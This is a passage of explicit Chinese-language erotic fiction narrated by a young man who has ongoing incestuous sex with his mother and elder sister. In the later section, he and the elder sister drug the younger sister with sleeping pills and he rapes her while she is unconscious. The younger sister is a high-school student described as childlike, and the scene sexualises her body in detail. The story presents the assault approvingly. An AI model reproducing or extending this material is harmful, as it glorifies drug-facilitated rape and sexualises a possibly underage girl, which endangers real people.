姐问说既然没有女朋友,那有没有做过那种事。我当然知道姐说的是什么事,但我还是装纯洁。结果姐说少来了,看会看那种片子了还装。我尴尬的摇摇头,我总不能把我跟妈的事跟姐讲吧。结果姐马上冒出一句说我说谎。我心想姐何凭何据说我说谎,大概是想唬我吧。没想到姐冒出一句让我心脏差点停止的话,她说妈都告诉她了。我一听都快虚脱没力了,怎么妈把这事情告诉姐了,这太离谱了,还有其他人知道吗?

我大脑空白了好几分钟,这其间姐一直问是不是。唉,都知道了还要问吗。我很没力的点点头。然后姐要我把事情经过说给她听,我说妈不是跟你讲了吗,姐说妈只讲一点点。我心想妈还真会算,还留一些给我讲。我不太想讲,但姐坚持要我讲,我的处境好像当贼被逮到,全任人宰割了。于是我把整个经过讲了起来,其中有漏掉的姐还紧追不舍。

我心里面有点被逼的感觉,于是我一开始就讲小时候偷看姐下体的事先讲了。姐听了愣了好久,然后说我怎么这么小就这么色了,难怪长大后连自己妈都做。我不理姐继续讲下去,从跟妈一起睡讲到抚摸妈的身体,到跟妈赤裸相拥,到跟妈发生关系,到妈跟我翻脸。讲了好久,这次则换姐目瞪口呆了。

讲完后,姐好像有点呆了。过了一下子,姐问我会不会还想再跟妈做,我说想呀,可是妈不肯。姐说妈都四十好几了,不是当时还算年轻,我还会想吗。我说还是想呀,而且我也没其她异性可以跟我做。后来我问姐为什么妈会告诉姐这件事,还有谁知道,结果姐又说了一件让我停止心跳的事。原来姐根本就不知道,只是猜测。

我想这不可能呀,再会猜也不至于猜儿子会跟妈发生关系吧。后来姐说其实很早以前还住在旧房子的时候就曾看到我跟妈在房间里赤裸裸抱在一起。当时觉的很吃惊,但也不敢说。久了就忘了,直到今天看到我在看A片自慰才又想起,然后就用试探的口气问我。

其实姐问我的那句话是我做贼心虚,她只说妈跟她说了,又没说到底妈说了什么,有可能是妈说我有女朋友有过关系之类的。结果我不打自招,全抖出来了。

两个人沉默了一下子,我越想越心不甘。一翻身就往姐的掖下搔痒,两个人就扭在一起。结果到底是我年轻气盛,一接触到女人身体就挡不住了。扭着扭着越觉得姐长得蛮不错了,于是把姐压在身下就吻下去了。姐把我推开笑着说连我你也要呀。我说要呀,现在就要。然后我把姐睡衣领子扯开,天哪,姐里面都没穿。

我看了兽欲就来了,接着就把姐整件睡衣摊开,姐也不反抗,我心想不反抗今晚就做我的老婆了。我把姐的衣服全脱光,然后我自己也脱光,握着阴茎就往姐的穴插。结果干干的一直插不进去,姐也说会痛,于是我低下身体往姐的穴舔了起来。直到我觉得够湿了,又提着阴茎插进去。这次就比较顺了。

大概是我太久没插穴了,不到五分钟就了。了之后我起身坐在姐的身旁,姐看了我说我是她的第二个男人,第二个跟她有性关系的男人。说完就闭上眼睛,我看了姐一会儿性欲又来了,于是又压上去做了第二次,这次就恢复正常水准了,插了近一个小时才出来。姐还是不反抗的任我摆布,我用了好几个姿式,姐都随我,除了轻微的呻吟声外。第二次精后姐还是一动也不动的瘫在床上,不过我想这次她真的是瘫了。

休息了好一阵子后,姐勉强起身着衣回房。我看着姐离去心想到底怎么回事,我怎么尽跟自己家人发生性关系。

第二天早上睡到被姐叫醒,醒来后才发觉很晚了。灌洗完毕到客厅里,姐正在整理客厅。姐看到我叫我赶快吃早餐,然后姐就到餐厅帮我把早餐端出来。好丰盛的早餐,根本不像平常所吃的早餐。我看了姐一眼,正想问原因时,姐却先开口了。姐说要让我补一补,不然体力透支过多,对身体不好。我在想姐是不是指昨晚的事,我走到姐的身后想试探一下,于是在姐的臀部捏了一把说是不是怕我昨晚太累。姐白了我一眼,把我的手拨开叫我快吃,然后就继续整理客厅了。我想这答案是很肯定的。

到了晚上睡觉时,我躺在床上想不知道姐今晚会不会来。如果姐不来的话,那就只好吃自助餐了,我不能去姐睡的房间,因为妈和姐和妹一起睡的。等了很久都快睡着了姐一直没来,我等不及了起床到客厅看看。到客厅后发觉妈坐在客厅里不知道在想什么,我走过去坐在妈的旁边。

她问我也跟她一样睡不着呀,其实我是很困了,不过我还是说睡不着。妈握着我的手笑着说年纪轻轻的怎会睡不着呢?我开玩笑的说没有妈陪所以睡不着。我话一出口就马上后悔了,这种话在好几年前可以是跟妈之间的打情骂俏,但现在却是非常轻佻的。我想妈大概又会生气了。

结果出乎意料之外的,妈不但没生气,还笑着说不会自己解决呀。我听了愣了一下,妈不生我的气了吗,可是过了那么多年了,妈一直跟我保持正常的母子伦常关系,怎么现在会这样子讲话呢?难道妈不再气我了,解禁了吗?我心想如果真的如此那一定要把握机会攻破妈的防线,万一妈只是一时想开,而我又没把握这机会,那下一次不知道是什么时候了。

于是我搂着妈的腰,亲了妈的脸颊一下说我想跟妈睡。妈笑着说她都这么老了还有兴趣呀。我说当然有呀,而且这些前来朝思暮想,就是想跟妈好。妈说我还是没变,还是那样子。我没理会妈说的我是什么样子,那不重要了。我在妈的耳旁轻声说到我房间聊天,妈用眼白瞄了我一眼没回答。我见机不可失,就硬拉着妈进我房间了。

进房间把门锁上后我立刻抱着妈热吻,妈有点害羞的样子一直闪。我双手开始游走,把妈的衣服一件件脱下来。妈很顺的让我脱,不像以前那样怕被其他人知道。很快的妈就全裸了,我把妈扶到床上让妈躺着,我自己也脱光自己衣服上床。上床后的第一个动作就是吻遍妈全身,然后帮妈口交。可能是太久没做了,妈的反应蛮激烈的,全身一直颤抖,但忍着不敢叫出声来,但从鼻音可知道妈很兴奋了。我边帮妈口交,边把下身往妈的头部移,一直将我的阴茎移到妈的眼前。妈很自动的握着我的阴茎就往嘴里塞了。

好久没被吹喇叭了,感觉好舒服。没多久我忍不住了,翻过身来拉开妈的腿就插进去了。就像旧情人久逢一般,我疯狂的猛插猛抽,妈被我插的哼声连连。这次也没维持太久就射精了。射完精后我趴在妈身上抱着妈,妈一直亲吻我,就像以前那样子。

缠绵了一会后,我起身来让妈喘口气。妈怕有人进来所以把衣服穿上,然后两人一起坐在床上聊聊天。妈问我这几年来她都不跟我亲热,我会不会很气她。我说不会,但是会很想。妈抱着我聊了很久,聊她的心理感受,其实妈也是会想,只是找不道台阶下。妈又问我她是不是老很多了,这时妈已经过四十了,确实是老了些。我没说话,妈说她也知道她人老珠黄了,原本想就算她想我大概也提不起兴趣了。妈是比以前老了些,但还是可以让我感觉兴奋。我亲了妈一下,在妈的耳旁轻声说我还要。妈笑得很开心,叫我躺平,然后她开始亲吻我全身,从头到脖子到胸部,最后停在阴茎上吸了起来。

然后妈把自己的裤子脱下来,跨坐在我身上,用女上男下的姿式做起来了。我好惊讶,因为妈一向都很被动的,很害羞的。我坐在我身上不断的上下摇着,把妈的衣服拉开让乳房露出来。露出来的乳房随着动作上下摇摆,性感极了。我怕妈太累,所以也一上一下的挺着。

没多久妈的高潮来了,整个人趴在我身上喘气。我把妈翻过来,用我最喜欢的老汉推车努力的干着妈的小穴,然后又换狗爬式。前前后后我们换了好多姿式,到最后两人都精疲力尽,妈帮我吹喇叭吹出来。

事后休息了一下,妈就赶紧回房了。我觉得身上黏黏的,于是到浴室想冲个澡。没想到就在浴室门口遇到姐姐,姐很神秘的拉着我回房间。回房间后我问姐什么是干嘛神秘兮兮的,结果姐说我刚跟妈做爱她全都看见了。我有点吃惊,但不会紧张,因为跟姐已有一腿了。姐说她本来晚上想来找我的,结果被妈捷足先登了。姐问我还有没有力气,我说有呀。于是姐要我先去洗个澡,她在房间等我。

我洗好回房间,姐正坐在床上。我关上房门上床跟姐说我和妈干了两次,鸡鸡有点累了,要姐帮我吹喇叭把它吹硬。姐二话不说,脱掉我的裤子握的我的阴茎就往嘴里塞了。跟妈吹的一样舒服,但姐的舌头会翻滚,比妈高明多了。很快的就硬起来了,然后我把姐的衣服脱光,拉开姐的双腿时姐的穴已经湿了一大片了。我握着阴茎插了进去,姐很舒服的叫了起来,我连忙把姐的嘴摀住,叫姐小声点。

由于第三次了,干了很久都出不来,最后我跟姐都受不了了。姐问我要不要试试肛交,我听了又吃了一惊。我当然要呀,于是我问姐真的可以吗,姐说可以,她曾被她老公插过屁眼,但她老公的阴茎比我的小多了,她说要小心点。于是我把姐翻身成狗爬式,涂些口水在姐的屁眼上跟我的龟头上,然后握着阴茎对准屁眼开始插。可能是没经验,还是不够润滑,怎么插就是插不进去,反而弄得我的龟头好痛。后来实在没办法了,只好放弃。

最后为了要射精,只好插到姐的嘴中抽插,直到射精。射完精后姐说她的嘴巴很酸很痛,喉咙也被我顶得很想呕吐,大概明天不能吃东西了。

就这样每天晚上都跟妈和姐大战,妈上半夜,姐下半夜,然后我白天睡觉。

春假结束后回学校上课,有时候姐会来找我,然后我们就会找家宾馆大战一场。姐说我的性能力比她老公强多了,鸡鸡也大多了。我也没让姐失望,每次都会让姐高潮连连,唿声震天。叫床姐就比妈强多了,妈也是会叫床,但很含蓄,很节制。姐一点都不节制,叫得又大声,又淫秽,什么肉麻恶心话全叫得出口,有时就这样被叫到射精。

在多次的尝试之后,我终于成功的插姐的屁眼了。我套上保险套又抹婴儿油,姐的屁眼也抹,连屁眼里面都用手指伸进去抹。然后进一点一点的插进去了,插得姐龇牙裂嘴的,又是哭又是叫,可是我在兴头上也不管这么多了,大起大落直插到射精才停下来。

事后姐一直怪我不会惜香怜玉,痛了好几天才恢复。我倒觉得姐太小看我这根宝贝了,以为就像她老公一样短小。不过插屁眼真的很爽,而且不是因为屁眼比较紧,而是那种感觉,一种凌虐的感觉。之后每次跟姐做爱就会要求肛交,但姐不一定每次都会答应。

跟姐肛交上了瘾,有一次就打妈的主意。我问妈可不可以肛交,妈听不懂,我解释给妈听,妈听了觉得很不可思议,觉的插屁眼实在太奇怪了。我怎么跟她解释都不行,后来干脆去租A片,趁家没人的时候放给妈看。妈看得目瞪口呆,觉得那么大的一根阴茎插进屁眼里去根本就是在耍特技,不是正常的性行为。我讲给姐听,姐说干脆把两人合力把妈绑起来,让我大干特干一番。我知道姐是开玩笑的,不过倒有点想这样子做。

跟姐之间的事没能隐藏太久,大概是我和姐太嚣张的,而且姐叫床声又大。老爸睡一楼可能还没关系,但妈的房间跟我就只隔着浴室,万一妈或妹半夜起床上厕所,那就很容易被发现了。但是姐不大怕被妈和妹发现,因为妈跟我早在好多年前就做了,大不了母女一起来。被小妹知道也无所谓,因为姐向来跟小妹最要好,连离婚的事全家都只有小妹跟她站在同一阵线。

以我们嚣张的程度当然是被发现了,第一个发现的是妈。妈半夜起床想下楼喝水,在走廊听到姐的叫床声。妈就在我房间门口听,然后回房间发现姐不在床上,所以确定是我跟姐在房间做爱。

隔天姐去上班时妈就到我房间问我了,那时我刚盥洗完在房间发呆。妈进来坐在床沿就问我昨晚是不是跟姐在做爱,我心一震,但随既稳定下来,因为我早知道迟早会被妈或妹发现。于是我承认了,妈没说什么,也不能说什么,因为妈自己都跟我有很密切的性关系,伦常观念已站不住脚。妈叹口气问说有多久了,有多濒繁。我意识到妈是在吃醋,因为姐比妈年轻,比妈漂亮,身材也比妈好。不管从任何角度看,就做爱对象的条件而言,姐都比妈好。妈当然有自知,所以妈吃醋了。

我仔细的看着妈,发觉妈真的老了。脸上的皱纹一天比一天多,皮肤也慢慢的变粗糙,失去光泽。身材也走样了,下半身变臃肿,乳房也萎缩下垂。但我还是觉得妈很性感的,还是让我很兴奋的,或许是我有乱伦癖吧,跟自己的妈做爱就倍觉兴奋。

妈没说什么,但我知道妈想说什么。我抱着妈说我还是很爱妈的,妈问我以后还会不会跟她做,我说只要妈愿意我就会做。然后妈就出去了,我很难过,我情愿妈骂我一顿,但现在却变成妈害怕我有新欢就不再理她了。这种害怕失去所爱的感觉我很能够了解,所以我特别心痛。

那天睡午觉时我到妈的房间跟妈做了几乎一个下午,从躺着,趴着,跪着,坐着,站着,几乎用尽了想得出来的姿式。从房间做到浴室,到楼梯口。妈高潮一次我又次,我也了好几次。

晚餐后,妈私底下跟我说晚上就让我陪姐,但是要注意身体。晚上姐来我房间的时候,我把事情告诉姐了。姐听了说要去找妈谈一谈,我说最好不要,因为妹也在妈房里睡,姐说那到我房间谈好了。我无所谓,反正事情都曝光了,大家摊开来谈一谈也好,总比闷在心里不上不下来得好。于是姐就把妈请来我房间,然后三个人就谈起来了。大都是姐在跟妈谈,我坐在旁边有点像透明的。谈得都很心平气合,因为两个女人有点同病相怜,两人都是另一半不行了,有性需求。

最后她们说好三个人维持目前的关系,但不要让我太操劳了,喔,终于想到我的存在了。然后妈笑着叫我跟姐要早点睡,不要玩太晚了,她就转身回房了。就在这时候我突然想到何不来个三人游戏。于是我低声跟姐说让妈跟我们一起做,姐笑着说我想一箭双雕,然后就追出去把妈拉回来。她们一进门我就把房门锁起来,妈莫名其妙问我们要干什么,姐跟妈说要两女服侍一夫。然后就开始脱妈的衣服,我也帮姐。妈一面挣扎一面说难为情,但很快的身上衣服全被剥光了。然后我跟姐也全脱了,三个人就挤在我床上玩了起来。

姐说妈很辛苦,要我先干妈。但妈说下午已经干了很多次了,要我先干姐。我看她们推来推去了,就决定先由妈来。我躺着,然后叫妈跨坐在我头上我帮她口交,同时姐也在下面帮我吹喇叭。等我硬了,妈的穴也湿了,我让妈躺下来腿张开,我握着阴茎开始干妈的穴了。边干姐还帮我推屁股,有时推太大力了妈就被干得哇哇叫。姐推了一会不推了,坐在妈旁边搓揉妈的奶子,然后又把妈的奶头含到嘴里。妈被我跟姐上下围攻,爽得全身乱颤,哼声连连。

姐开始往上亲,亲妈的肩膀,脖子,脸颊,最后嘴对嘴就亲下去了。妈大该爽得搞不清楚谁是谁,跟姐就热吻起来了,四唇相接,两舌缠绕,就比跟我亲嘴来热情。妈来了好几次高潮,神智开始有点迷煳了,从穴流出来的淫水,把床单都弄了,连我的卵蛋跟大腿也都湿了。

我看妈差不多了,该换干姐了。我把阴茎拔出来,叫姐用狗爬式的,我从后面插进去。姐大概等太久了,我一插进去姐就叫,我连忙把姐的嘴捂起来,连妈都吓了一跳而清醒。我用力的干着姐的穴,妈也不甘寂寞在一旁搓姐的奶子,不过姐的奶子不怎么大,虽然妈的奶子有点下垂了,但看起来比姐还大。我一直换姿式,而且一直忍着不射,因为我还想在干妈,然后要在妈的穴里射。

突然间我想插姐的屁眼给妈看,看看妈会不会就让我插她的屁眼。于是我又把姐翻成狗爬式,然后告诉姐我要插屁眼了。我握着阴茎对准姐的屁眼开始缓缓的插进去。妈在一旁很好奇的看着,看我的阴茎一点一点的插进去,直到全根没入。然后我照例开始猛抽猛插,姐大概也知道我是故意插给妈看的,也就配合着淫声连连,一副爽到骨子里的样子。

我边插边看着妈,妈很注意的看着我的阴茎在姐的屁眼来回进出。我问妈说要不要试试看,妈想了一想还是摇摇头。我心想没关系,早晚有一天妈会肯的。既然已经插到屁眼了,也不能又插妈的穴了,于是就猛烈的冲刺一番,把精液射在姐的屁眼里。

就这样三人世界维持了好一段时间,一有机会就大玩三人游戏。妈一样做个称职的主妇,除了煮饭洗衣外,还多一项任务,就是有空档时和儿子母子相奸。姐也离婚了,三票对一票,全家就老爸反对。我和妈则是另有如意算盘。而妹原本就赞成,反正妹对姐夫也从来就没有好感。

——————————————————————————–

8。三人世界

从此里三个女人,就小妹还没加入我们的乱伦行列。小妹从小就有点发育不良的样子,个子娇小不说,身材也不怎么争气,高中都快毕业了,胸前尚无多少长进,臀部也有待加强。但脸蛋倒长得挺标致的,眉清目秀,一头乌黑的长发,小巧的鼻子,微翘的嘴巴,一付人见人爱的模样。大概是样子如同小女孩一般,让我毫无想像空间,毫无任何性幻想性冲动,所以也从来就没想过要把小妹设计进来。但跟两位成熟的女人做久了,却开始对小妹的干扁身材发生了些许的幻想了。

但问题是小妹从来就没过性经验(我想应该是吧),如何让她加入这乱伦行列呢?

这问题我当然不敢找妈商量,毕竟对她而言乱伦是不应该的,如今为了需求而与儿子发生性关系已经是问心有愧了,更别说是把自己的小女儿也拖下水。但姐就不同了,或许是跟我一样有乱伦的倾像吧,一听到我的想法马上举双手赞成,一付心有戚戚焉的样子,甚至比我还积极。但积极是没有用的,重点是如何让小妹上钩。

用硬的当然不行,全家大概就是小妹的脾气最钢最烈。用硬的她大概会恨我一辈子,用软的又不知如何下手。跟姐想的很久,也摩拟了一些状况,但似乎都不怎么可行。最后我们想言教不如身教,干脆故意让她在无意中看见我和姐的乱伦实况,或许可以让她春情大动。

但我可等不及了,以前对小妹毫无感觉,但一旦开始对她有性幻想之后,与小妹相奸的冲动就如同排山倒海一样一发不可收拾。脑子里就尽幻想的自己的鸡巴在小妹的穴里狂抽猛送的景象。我想我真的等不下去了,在我受不了强奸小妹之前我得想个法子解决,于是我把我的感觉告诉姐。

姐听到后的第一个反应是赏我一个特大号爆栗,痛得我抱头鼠窜,满脑金星。姐说小妹那种干扁身材我强奸得下去吗?活像个国中女生似的,没胸没屁股。我一直要求姐帮我忙,好说歹说,千拜托万拜托,极尽谄媚之能事。甚至一连好多天我用尽吃奶的力气干得姐上了天,最后姐还是同意了。唯一的条件就是不准强迫,也不能有暴力行为伤害到小妹。

可是这怎么做又大伤脑筋了,但还是让我们想出了点子了。

其实很简单,把妹弄晕了不就得了吗。于是跟姐两个人开始收集安眠药,几天后安眠药有了,于是我开始逐步进行我的的计画。

首先是姐借故要与小妹同睡,小妹当然不疑有他,姐妹同床睡很希松平常。在睡前姐让小妹喝下搀了安眠药的开水,等小妹熟睡后,开门让我进来。我一进门就看到小妹穿着睡衣躺在床上,看样子应该是睡得很熟了。姐站在一旁笑着说可以开始了,这下子反而是我觉得有点尴尬了,但看到床上的小妹,胯下的鸡巴开始蠢蠢欲动了。于是也不管姐在一旁观看,先除去自己身上的衣物,然后就爬上床了。

虽说小妹已睡得很熟了,但我想想还是有点怕。所以干脆请姐先试探一下小妹,确定小妹真的是熟睡了。于是我请姐帮我把小妹的睡衣脱掉,而我则先躲在一旁。姐我笑我有色无胆,我也不在意了,只要能干小妹被笑也不痛不痒。

姐爬上床,跪坐在小妹身旁,轻轻的把小妹睡衣的钮扣一个一个解开。直到全解开了小妹还是不省人事。这下我放心了,然后姐笑着说可以了吧。于是我也上床,跪坐在小妹的另一边,隔着小妹跟姐对坐的。我先吻的姐一下表是感谢,然后开始把小妹扣子已全解的睡衣敞开,我觉得好兴奋,有一种偷的快感。睡一里面只有一件三角裤,没着胸罩。小妹雪白胸部上两个微突的奶子,上面有两个粉红色小小的奶头,感觉很性感,令人想将它含在嘴里。我抬头看姐,姐好像也对小妹的奶子很着迷。

我伸手轻轻的抚摸着妹的小奶子,感觉好细好滑。姐也伸手爱抚着小妹的另一个奶子,这时小妹还是一动也不动,看着小妹熟睡的样子,我禁不住吻着小妹微翘的双唇,用舌头顶开小妹的牙齿,将舌头伸进小妹嘴中搅拌着。这时姐也从小妹的奶头一路吻上来,我把小妹的唇让给姐,因为我的鸡巴已经硬得受不了了。我轻轻的拉下小妹的三角裤,眼前突然一亮,原来小妹的下体居然只在阴阜上有稀疏的几根阴毛,整个阴户干干净净的,粉红色的阴唇紧紧闭着,只留下一道细缝,美极了。

我迅速的脱下身上衣物,沾口水涂在小妹的穴口跟我的龟头上。跪在小妹的双腿之间挺着鸡巴对准小妹的穴口缓缓的插进去。这时在一旁的姐停止了对小妹的亲吻爱抚,开始注视着我的鸡巴挺进小妹穴口的景像。

未经人事的小妹的嫩穴真的很紧,鸡巴挺进少许就遭遇阻碍,我抽出来再挺进,但还是没能全根没入。由于跟姐说好不使用暴力的,所以也不敢强行插入。姐看我进退不得的样子,问我怎么了,我说插不进去,顶到处女膜了吧。姐说可能是不够润滑,叫要把鸡巴拔出来要帮我含一含,多沾些口水。

姐握着我的鸡巴含到嘴里,让我的鸡巴都沾满口水。然后又舔小妹的穴口,也让小妹的穴口沾口水。看姐舔小妹的样子真令人喷血,跟本就不只是要沾穴口而已,整个阴户从小妹的阴阜,阴核,大小阴唇,甚至舌头都伸进小妹的穴里了。看得我是口干舌燥,欲火焚身。

看样子姐对小妹的肉体似乎比我还感兴趣,从一开始亲吻爱抚小妹就都一付很渴的样子。看姐这样子我想三个人一起来吧,于是我动手把姐的睡衣脱掉,原来姐里面什么都没穿,看样子是有企图的嘛。姐舔着小妹的阴户,双手也没闲着,直摸着小妹的奶子,大腿,一付很陶醉的样子。

既然小妹的阴户被姐占着玩了,我也不能亏待我的鸡巴,于是我就转移阵地,跪在小妹的嘴边,挺着硬阿鸡巴往小妹的小嘴塞,小妹的穴小,连嘴巴也小,塞了好久才塞进龟头,弄得我急的要死。我心想就用力挺进去吧,又不是未经人事的穴,应该不会怎样吧。于是腰际一挺,硬是将鸡巴插进一截。看着小妹的嘴被撑的大大的含着我一半的鸡巴,实在让我亢奋极了。我抱着小妹的头抽插起来,一进一出的干着小妹的嘴,感觉真的不输干穴,过瘾极了。

原本在舔穴的姐被我在干小妹的嘴所吸引停止舔穴,我很得意的看着姐,同时鸡巴不停的干着妹的小嘴。干了一会,我想再试试看能不能成功的插进小妹的穴。我抽出在小妹嘴中的鸡巴,移动到小妹的双腿间把小妹的双腿尽量拉开,手握的鸡巴对准穴口插进去,这次就比较用力顶了。来回顶几下后开始有了进展了,龟头进去了,鸡巴也慢慢的插进的,虽然还是有些阻碍,可是慢慢的顶着,终于全根没入了。

真的好紧,小妹的穴真好,夹得我爽得魂都快飞了。感觉上比妈和姐的穴紧得多,甚至比插姐的屁眼还舒服。全根没入后就开始抽插了,天哪,在被穴肉紧紧包住下抽插的感觉太好了,鸡巴与穴肉磨擦的强烈快感再加上看着自己的鸡巴在小妹无毛干净的粉红嫩穴中插进抽出的景像,一阵阵快感袭脑,都让我心跳加速快喘不过气来了。

我开始加速抽插,每一下都是全根抽出,再狠狠的全根插入。小妹的身体也随着我的撞击而晃动,两个小奶子也如同波浪般前后摆动。就这样快速抽插了几分钟后,快感越来越强烈,终于在姐的注视下,将一股浓精射进小妹肉穴深处。

射完精后整个人感觉都快虚脱了,太爽了。我趴在妹的身上紧紧抱着妹猛吻妹的小嘴,姐也躺在一旁看着我。姐问我感觉怎样,我回答说爽上天了。姐说我爽上天了,那她怎么办。我愣了一下,什么她怎么办?但随即会悟原来姐也痒了,也需要鸡巴干了。但我才刚射精,也要给我点时间才硬的起来呀。于是我想既然姐对小妹的肉体也很感兴趣的话,那干脆怂恿姐跟小妹homo好了,我也想看看两个女人怎么玩。

我跟姐说那小妹让给你玩,换我在旁边看。姐的脸红了一下,说两个都是女的怎么完。我说刚刚姐不是就在玩小妹的肉体吗,就那样玩呀,反正我现在也还没硬起来。姐迟疑了一会,点点头。

我从小妹的身上翻下来把小妹让给姐,姐上前压在小妹身上紧抱着小妹的头狂吻小妹,胸前两个奶子顶着小妹的奶,下体也顶在小妹的阴户上旋转着磨。姐的双唇吻遍了小妹的脸,耳朵,脖子,最后还把妹的嘴顶开伸进舌头吻。看这样子简直比跟我做爱的时后还热情激动,连呻吟声都特别淫秽。

这景像看得我又是口干舌燥,鸡巴又是一柱擎天。姐越磨越快,我在旁也握着鸡巴打起枪来。姐的淫叫声越来越大,我真怕会吵到爸妈,但这实在太精采了,也不管那么多,继续套着自己的鸡巴手淫。就在淫叫声中,姐终于高潮了。姐依然紧抱着小妹,身体微微的抽搐,嘴中发出轻微的喘气声,仿佛在享受高潮后的快感。

但是我受不了了,鸡巴硬得快爆了。我把姐从小妹身上拉下来,拉开小妹双腿,挺着硬梆梆的鸡巴又干了进去。这次感觉顺畅多了,一插到底。我开始猛插猛抽,大起大落的干着小妹。我用我最快的速度狂插,很快的没几分钟又再度射进小妹嫩穴深处。

由于隔天是假日,昨晚又狂两次,所以一直睡到快中午才起床。起床后脑子清醒些我想到昨晚的事,心中感觉很不安。毫无经验的小妹被我连干了两次,她早上起床一定会察觉到。我灌洗完毕后走到客厅,客厅空无一人。照理假日中午大伙应该都在客厅准备吃饭了呀,难道真的出事了。我开始觉得紧张,我走到爸妈房间,房间内空无一人。我再走到姐的房间,还是没人。只剩妹的房间了,可是我有点心虚,万一妹已知道我昨晚奸淫了她,那我怎么面对她呢?但我还是决定到妹的房间看一下好了,该来的总是会来。我走到妹的房间门口,门是关着的。我敲敲门,过了一会门打开了,应门的不是妹,而是大姐。

我正觉得奇怪,爸妈不在,大姐在小妹房里,怎么回事呢?我正想发问,大姐却指了客厅方向要我到客厅。到客厅后大姐拉着我坐下来说,小妹早上起来发觉下体疼痛,有些怀疑。不过爸妈有事出去了,她正在安抚小妹。我问怎么安抚的,小妹知不知道我干了她。大姐笑了一笑叫我不要担心,事情她会搞定。我跟大姐说我做的事我自己承担,我想跟小妹说明白,要杀要刮没有怨言。但大姐坚持由她来处理,我这样做只会让事情更复杂。大姐要我自己弄午餐吃,她转身又回小妹房间了。

我也没心思吃午餐,独自坐在客厅里,一颗心忐忑不安,一直在想大姐是怎样跟小妹讲。也不知坐了多久,但实在坐不下去了。于是我轻轻的走到小妹房门口想听听看里面动静,但什么也听不到。我索性打开房门一点缝隙往内瞧。不看则已,一看吓了我一跳。原来姐和妹两人光熘熘的在床上你摸我我摸你。

我心觉奇怪这是怎么一回事,怎么两人HOMO起来了。我继续看下去,两人的动作越来越大,甚至亲吻起来了,但看样子似乎是姐主动带着妹做,而妹却似乎完全处于被动。这景像简直是昨晚事情的重播,接下来姐压上妹的身上磨了起来了。原本被动的妹也开始有些激动起来了,也开始主动的吻姐,双手也环抱的姐的腰部,甚至抚摸姐的臀部。好一场磨镜图,让我沉睡一晚的鸡巴又再度昂首抬头了。眼睛看着手也没闲着,我拉下短裤和内裤,掏出鸡巴套了起来。

两个人越磨越快,动作也越来越激烈。几分钟后姐高潮了,人软趴趴的趴在妹的身上,妹的动作也因姐的停止而暂停。而我的鸡巴也硬得擎天,不因她们动作停止而稍缓,反而更用力套着。就这样站在门口快速的打枪,没想到太爽了脚一软,一个不小心跌了下去。

这下糗了,若往后跌就算了,偏偏却是往前跌,把门整个撞开了,自己也跌进房间里。原本在床上温存的姐和妹被这忽如其来的景像吓得容花失色。我光着屁股跌坐在地上,一跟硬梆梆的鸡巴就矗立在她们眼前,糗得我都呆住了,也不知要赶紧把鸡巴遮住。姐先是吓了一跳,但看到是我后反而镇定下来。最可怜的是小妹,光熘熘的跟自己的姐作爱,然后被自己的哥哥破门而入,破门而入的哥哥还光着屁股挺着鸡巴。

小妹羞的猛往姐的怀里钻,姐则一付老神在在的模样,还带着兴灾乐祸的笑,看了令人火冒三丈。不知如何是好的小妹窝在姐的怀里一动也不敢动。倒见姐轻拍妹的肩膀说自己的哥哥没关系,又不是外人。反正看都被看了,也没什么损失,不如大家袒然一点。妹不知道听到没有,还是一动也不动。姐拉一下毯子盖在妹身上,然后招手要我坐到床上。我赶紧爬起来穿好裤子坐在床上。

姐把窝在她怀中的妹推开让妹坐起来,但身上还是披的毯子。妹虽然坐起来了,但头来是低低的,不敢抬头看我。然后姐开口了。姐问我说我在门外偷看多久了,我说大约十几分钟,姐说那我差不多是从头看到尾,我也不知道到底是不是从头看到尾,只是随意嗯了一声。妹听的突然抬头看了我一眼,又随即低下头,脸变得更红了。

姐又问我说看就就光着屁股做什么,是不是受不了了在自慰。这简直是明知故问嘛,但我也察觉姐是有用意的。我回答是。然后姐又问我看了有什么感想,我故意问说你们是不是在做爱,姐回答是呀。只见妹又抖了一下,头低得更低了。然后我又故意说看到姐和妹的裸体,很漂亮,很性感。这时看妹好像羞得无地自容了,姐得脸上却现出奸笑的表情。

姐又说她们都被我看光了,我是不是也该让她们看个够,是不是小妹。小妹羞得不敢动弹,姐却打铁趁热要我把衣服也都全脱掉,跟她们一样光熘熘的。我心想太好了,跨出第一步了。我马上把身上的衣服脱得一丝不挂,胯下的鸡巴有点软了,但还是很有精神。脱完了后姐摇一下妹的肩膀叫妹看回去,这样才不会被白看。妹起初不敢看,但在姐的怂恿鼓励下,扬起眼角看了一眼,又随即低头不语。

这时姐移动身子坐在我身边,跟我一样一丝不挂。姐故意用手握住我的鸡巴,跟妹说好大好硬,要妹一起过来看。妹还是缩在毯子里,但是敢抬头看了。妹的眼神好像很娇羞又很吃惊。想看又不好意思看的样子。然后姐开始套着我的鸡巴帮我打起枪来了,还问说是不是这样自慰的。我点点头,还说姐弄得我很舒服。姐又要妹一起过来摸摸看,但妹实在是不敢动弹。于是姐说妹不过来那我们过去好了,妹听了猛摇头,但我却很乐意过去。我和解移到身子到妹旁边,我还特意把鸡巴向着她。

姐还是握着我的鸡巴套着,另一手则拉着妹的手过来要妹来握着,妹有点迟疑,但被姐牵引着。姐把我的鸡巴从她手上交到妹手上,妹红着双颊握住我粗大火热的鸡巴,两眼也注视着鸡巴,仿佛在看一件令她又爱又怕的事物一般。姐问妹说有什么感觉,妹说很大,烫烫的。然后姐要妹跟她刚刚动作一样套我的鸡巴,这妹时妹不在那么娇羞了,学着姐刚才的样子套了起来。好舒服我觉得,随然套得没姐的好,但是感觉就是很舒服。

妹套了一下后,姐问我说要不要在看一下小妹的裸体,我当然回答要。姐也没问妹又直接伸手把妹身上的毯子拉下来。妹稍微挣扎一下就顺其自然了。看到妹的裸体,妹又正套着我的鸡巴,真是令人受不了,真想压上去狠狠的干下去。妹又套了一阵子,我受不了了,伸出手想抚摸妹的大腿,妹又稍微缩一下,然后任我抚摸了。我想这时后妹的心防应已解除,于是就大胆的在妹的大腿上抚摸轻捏。妹没什么表情,但我想妹应该有感觉了。我顺遮大腿往上摸,略过阴户从小腹一路摸到奶子。我在小妹奶子上又搓又揉的,从妹微锁的眉头我想妹已经有快感了。

一旁的姐也没闲着,坐在妹的身旁搂着妹的腰跟妹来个深吻,上下夹攻让妹娇喘不已。姐看时机成熟了,扶着小妹躺下来,示意我给小妹舔阴户。我马上把小妹的双腿拉开,低下头开始舔着。被舔的小妹似乎很舒服的样子,身体不时抽搐着。姐依然跟小妹热情的接吻着。我把整个阴户都舔遍了,尤其阴核更是得用心。小妹的穴口缓缓流出淫水,我尝了一下味道还不错,没姐那么腥,也比较不咸,蛮好吃的。

